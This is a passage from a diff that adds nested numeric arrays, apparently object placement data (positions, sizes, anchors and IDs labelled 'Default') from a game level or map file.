+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7171,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594.549560546875,
+ 229.4484252929688,
+ 0,
+ 80.3665771484375,
+ 481.635498046875,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7172,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1673.221069335938,
+ 350.7533264160156,
+ 0,
+ 80.3665771484375,
+ 82.218994140625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7173,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1979.081176757813,
+ 494.1050415039063,
+ 0,
+ 80.3665771484375,
+ 249.3993835449219,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7174,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2096.256591796875,
+ 410.1026611328125,
+ 0,
+ 314.34228515625,
+ 82.97579956054688,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7175,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212.5146484375,
+ 551.0617065429688,
+ 0,
+ 81.1444091796875,
+ 253.2806701660156,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7176,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2525,
+ 400.8596496582031,
+ 0,
+ 81,
+ 1179,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7177,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2332.1728515625,
+ 637.2246704101562,
+ 0,
+ 315.7445068359375,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7178,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2259.27685546875,
+ 560.635986328125,
+ 0,
+ 143.534912109375,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7179,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2477.0859375,
+ 478.9307250976563,
+ 0,
+ 143.534912109375,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7180,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745,
+ 987,
+ 0,
+ 450,
+ 456,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7181,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4641,
+ 988,
+ 0,
+ 450,
+ 456,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7182,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4151,
+ 1169.5,
+ 0,
+ 574,
+ 89,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7183,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3956.0888671875,
+ 984.9098510742188,
+ 0,
+ 185.519287109375,
+ 82.2896728515625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7184,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4426.78515625,
+ 1082.237548828125,
+ 0,
+ 185.519287109375,
+ 82.2896728515625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7185,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4425.9443359375,
+ 890.9346313476562,
+ 0,
+ 185.519287109375,
+ 82.2896728515625,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7186,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5405.740234375,
+ 231.5,
+ 0,
+ 1251,
+ 463,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7187,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821.240234375,
+ 527,
+ 0,
+ 80,
+ 198,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7188,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5599.5,
+ 503,
+ 0,
+ 859,
+ 88,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7189,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5799,
+ 580,
+ 0,
+ 627,
+ 88,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7190,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5748,
+ 1161,
+ 0,
+ 715,
+ 370,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7191,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7192,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1893,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7193,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1520,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7194,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7195,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 763,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7196,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 390,
+ 1255,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7197,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3403.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7198,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4155.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7199,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3782.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7200,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2273.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7201,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3025.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7202,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2652.70166015625,
+ 1254.919799804688,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7203,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5663.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7204,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6415.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7205,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6042.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7206,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4533.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7207,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5285.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7208,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4912.68115234375,
+ 1254.159301757813,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 7209,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3278.2734375,
+ 1588.510864257813,
+ 0,
+ 6808,
+ 457,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 7210,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 870.1080322265625,
+ 813.4962158203125,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7212,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1515,
+ 642,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7213,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675,
+ 274,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7214,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1898.730712890625,
+ 403.8462219238281,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7215,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2099,
+ 248,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7216,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2444,
+ 408,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7217,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1675,
+ 731,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7218,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1235,
+ 1081,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7219,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1594,
+ 1177,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7220,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1787,
+ 1094,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7221,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1979,
+ 1181,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7222,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 1088,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7223,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2721,
+ 1065,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7224,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2907,
+ 957,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7225,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3099,
+ 865,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7226,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3287,
+ 767,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7227,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4369,
+ 811,
+ 0,
+ 35,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7228,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4014,
+ 862,
+ 0,
+ 35,
